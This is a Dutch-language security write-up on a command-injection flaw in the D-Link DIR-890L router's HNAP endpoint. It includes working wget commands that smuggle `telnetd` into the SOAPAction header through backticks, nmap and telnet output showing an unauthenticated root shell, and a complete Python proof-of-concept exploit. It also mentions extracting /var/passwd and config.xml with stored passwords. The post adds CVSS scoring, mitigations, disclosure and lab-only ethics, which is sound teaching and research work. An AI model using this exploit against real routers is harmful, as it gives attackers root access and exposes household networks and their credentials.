Eén header, root-toegang
Van alle bevindingen uit ons onderzoek naar de D-Link DIR-890L is dit de koning onder de kwetsbaarheden. Geen sprayen van wachtwoorden, geen week lang puzzelen: één HTTP-header met een commando erin geplakt, en de router opent zelf een root-shell. In dit artikel leggen we HNAP uit, laten we zien waarom de injectie werkte en publiceren we de proof of concept.
Wat is HNAP?
HNAP staat voor Home Network Administration Protocol, een beheerprotocol dat D-Link (en fabrikanten als Linksys) inzetten voor de eerste configuratie van een router. Het is gebaseerd op SOAP: berichten zijn XML-structuren met een envelope, eventueel een header en een body met de eigenlijke data. Via HNAP kan beheersoftware instellingen opvragen en wijzigen zonder de webinterface te parsen.
Op de DIR-890L is HNAP te vinden op /HNAP1. Vraag je dat endpoint in de browser op, dan krijg je een SOAP-antwoord met alle beschikbare acties, waaronder:
<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>
GetDeviceSettings is interessant: zoals de naam al vermoedt, levert het de configuratie van de router op. En dat, zo blijkt in de analyse van de firmware, zonder dat er authenticatie wordt gevraagd.
Waar het misgaat
De webinterface achter HNAP1 draait op PHP-bestanden in de firmware (terug te vinden in htdocs/web/hnap en /etc/templates/hnap). Bij de verwerking van een request kijkt de code naar de SOAPAction-header om te bepalen welke functie gevraagd wordt.
De klassieke fout: die headerwaarde wordt ongefilterd gebruikt in een shell-commando. Alles wat achter de echte actie komt, wordt door de firmware meegenomen. Voeg een slash toe, zet daar achter een commando tussen backticks, en de parser voert het gewoon uit. Dat is commando-injectie in zijn puurste vorm.
De injectie stap voor stap
Het normale request ziet er zo uit, met een gewone SOAPAction:
wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"' \
http://192.168.0.1/HNAP1
En dan de aangepaste versie, met telnetd als extra lading:
wget --timeout 1 --tries 1 \
--header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' \
http://192.168.0.1/HNAP1
De backticks zijn hier de sleutel: de shell op de router evalueert wat ertussen staat, en dat is precies telnetd. De timeout en de enkele poging zijn bedoeld om de sessie netjes te laten mislukken als de webserver even blijft hangen: het request zelf maakt niet uit, het commando is al uitgevoerd.
Het bewijs dat het werkte: een nieuwe poortscan laat poort 23 zien, terwijl die eerst dicht was. De router heeft zelf zijn telnetd gestart:
nmap -p- 192.168.0.1
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
En van daaruit:
telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
/ #
Een root-shell. Zonder inloggegevens, zonder tussenkomst van de gebruiker van de router.
De proof of concept
Voor de eindopdracht is de aanval in twee scripts gevat. De kern van de Python-PoC:
#!/usr/bin/env python3
import requests, socket
IP = "192.168.0.1"
def scan_open_ports():
open_poorten = []
for poort in range(1, 50000):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
if 0 == sock.connect_ex((IP, poort)):
open_poorten.append(poort)
sock.close()
return open_poorten
print("Open poorten voor de exploit: ", scan_open_ports())
headers = {"Accept": "text/xml",
"SOAPACTION": "\"http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`",
"Connection": "close"}
url = "http://" + IP + ":80/HNAP1/"
try:
res = requests.post(url, headers=headers)
except Exception:
pass # de respons maakt niet uit, het commando is al uitgevoerd
print("Open poorten na de exploit: ", scan_open_ports())
print("Probeer nu: telnet " + IP)
Het script scant eerst de open poorten, vuurt de injectie af, scant opnieuw en toont het verschil: poort 23 erbij. Daarna is het een kwestie van inloggen via telnet en de buit bekijken: in het onderzoek bleek /var/passwd en het volledige config.xml met alle wachtwoorden uit te lezen. Het volledige verhaal daarover staat in de walkthrough.
Hoe ernstig? CVSS 9,4
De kwetsbaarheid is door de NIST-calculator gescoord op 9,4, de categorie critical. De redenering:
- Geen privileges nodig. Iedereen die het endpoint kan bereiken (dus op het netwerk zit) kan de injectie uitvoeren.
- Geen gebruikersinteractie. De router voert het commando blind uit.
- Volledige gevolgen. Vertrouwelijkheid, integriteit en beschikbaarheid gaan alle drie volledig verloren: de aanvaller krijgt root, en dus alles.
- Reproduceerbaar. De PoC is functioneel bewijs en betrouwbaar herhaalbaar.
De context: deze router zat vol bekende gebreken
De HNAP-injectie was de toppunt van een stapel problemen. De firmware draaide BusyBox 1.14.1 (2009) met veertien geregistreerde CVE’s en hostapd 0.5.9 met tien bekende CVE’s uit de KRACK-familie. Het admin-wachtwoord was standaard leeg. En de injectie zelf viel samen met de problemen die we bij de statische analyse aantroffen: ongefilterde invoer in een shell-context, de functie system die overal in de firmware opduikt.
Mitigatie: wat had D-Link moeten doen?
De bevindingen zijn met een responsible disclosure-melding bij de fabrikant gemeld. De mitigaties horen erbij, want ze zijn leerzaam voor iedereen die software schrijft:
- Authenticatie overal. GetDeviceSettings is het enige HNAP-commando zonder authenticatie. Dát is de deur. Zet er een login op, of haal het endpoint weg.
- Input-validatie. Een SOAPAction-header hoort te voldoen aan een vast formaat. Alles wat daar niet aan voldoet weiger je, punt.
- Geen shell-constructies met user-input. De functie system() in combinatie met ongefilterde headers is een klassieke aanvalspatroon. Gebruik parameterized API-calls in plaats van strings aan elkaar plakken.
- Componenten bijwerken. BusyBox uit 2009 in een product uit 2015 is een keuze, geen noodzaak.
Ethische kanttekening
Deze techniek werkt op tal van oudere routers, en precies daarom publiceren we hem. End-of-life firmware staat in duizenden huiskamers, en de enige die er iets aan kunnen doen zijn de eigenaren: patchen, of het apparaat vervangen. Test dit nooit op een router die niet van jou is. In een geïsoleerd lab, op eigen hardware, met alleen je eigen netwerk eromheen: graag. Elders: nee. Dat is het verschil tussen een ethisch hacker en een gewone inbreker, en dat verschil is precies waarom dit vak zo leuk is.
Wil je oefenen met dit soort injecties in een veilige omgeving? Kijk dan bij ons Hack The Box-cluster voor een leeromgeving die erom vraagt. En voor de volledige context van dit onderzoek: begin bij het FirmAE-lab.